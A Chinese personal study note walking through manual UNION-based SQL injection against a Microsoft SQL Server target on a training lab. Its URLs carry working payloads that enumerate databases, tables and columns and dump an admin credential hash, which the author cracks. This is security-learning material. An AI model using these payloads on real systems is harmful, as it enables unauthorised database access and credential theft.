个人学习笔记之手工注入测试(Microsoft SQL Server)

个人学习笔记之手工注入测试(Microsoft SQL Server)

启动环境:https://www.mozhe.cn/bug/detail/90

个人学习笔记之手工注入测试(Microsoft SQL Server)_第1张图片

找到注入点

http://219.153.49.228:41537/new_list.asp?id=2-0 返回正常
http://219.153.49.228:41537/new_list.asp?id=2‘ 报错
个人学习笔记之手工注入测试(Microsoft SQL Server)_第2张图片

判断字段

http://219.153.49.228:41537/new_list.asp?id=2 order by 10 报错
http://219.153.49.228:41537/new_list.asp?id=2 order by 5 报错
http://219.153.49.228:41537/new_list.asp?id=2 order by 3 正常
http://219.153.49.228:41537/new_list.asp?id=2 order by 4 正常
个人学习笔记之手工注入测试(Microsoft SQL Server)_第3张图片
由此我们可以判断:字段数为4。

判断可以显示信息的位置

因为数据库为sqlsever,所以我们注入用null,不用数字填充,因为数字填充可能会版本不兼容而报错。
http://219.153.49.228:41537/new_list.asp?id=2 union all select null,null,null,null (这里使用union select 会报错)

  1. union 对两个结果集进行并集操作,重复数据只显示一次
  2. union all,对两个结果集进行并集操作,重复数据全部显示
    个人学习笔记之手工注入测试(Microsoft SQL Server)_第4张图片

这里找到2 3 位置可以回显信息。

查看数据库

http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from master…sysdatabases where dbid>4),‘aa’,null
这里条件语句写法where dbid>4,是因为Microsoft SQL Server自带四个系统数据库。
个人学习笔记之手工注入测试(Microsoft SQL Server)_第5张图片
我们来查一下试试:)
dbid>1
个人学习笔记之手工注入测试(Microsoft SQL Server)_第6张图片
dbid>2
个人学习笔记之手工注入测试(Microsoft SQL Server)_第7张图片结果正是如此。

这里还有一种方法可以直接爆出所有数据库。219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select name from master…sysdatabases for xml path),‘aa’,null
个人学习笔记之手工注入测试(Microsoft SQL Server)_第8张图片

查看表

http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’ ),‘aa’,null
查询数据库mozhe_db_v2里第一条记录。
个人学习笔记之手工注入测试(Microsoft SQL Server)_第9张图片
查询第二个表名:
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u’and name <> (‘manage’) ),‘aa’,null
name <> (‘manage’)名字不等于manage的表。
个人学习笔记之手工注入测试(Microsoft SQL Server)_第10张图片

http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u’and name <> ‘manage’ and name <>‘announcement’ ),‘aa’,null

name <> ‘manage’ and name <>‘announcement’ 查询 表字不等于manage,announcement的表。
个人学习笔记之手工注入测试(Microsoft SQL Server)_第11张图片
这里显示空,表示数据库里就只有两张表。

查看字段

http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,db_name(),(select top 1 col_name(object_id(‘manage’),1) from sysobjects),null
个人学习笔记之手工注入测试(Microsoft SQL Server)_第12张图片
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,db_name(),(select top 1 col_name(object_id(‘manage’),2) from sysobjects),null
个人学习笔记之手工注入测试(Microsoft SQL Server)_第13张图片
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,db_name(),(select top 1 col_name(object_id(‘manage’),3) from sysobjects),null
个人学习笔记之手工注入测试(Microsoft SQL Server)_第14张图片

查看数据

http://219.153.49.228:41537/new_list.asp?id=-2 union all select null,username, password ,null from manage

个人学习笔记之手工注入测试(Microsoft SQL Server)_第15张图片
得到用户名: admin_mz 密码:72e1bfc3f01b7583(md5加密)
解密
个人学习笔记之手工注入测试(Microsoft SQL Server)_第16张图片
登陆得到key
在这里插入图片描述

你可能感兴趣的:(个人学习笔记之手工注入测试(Microsoft SQL Server))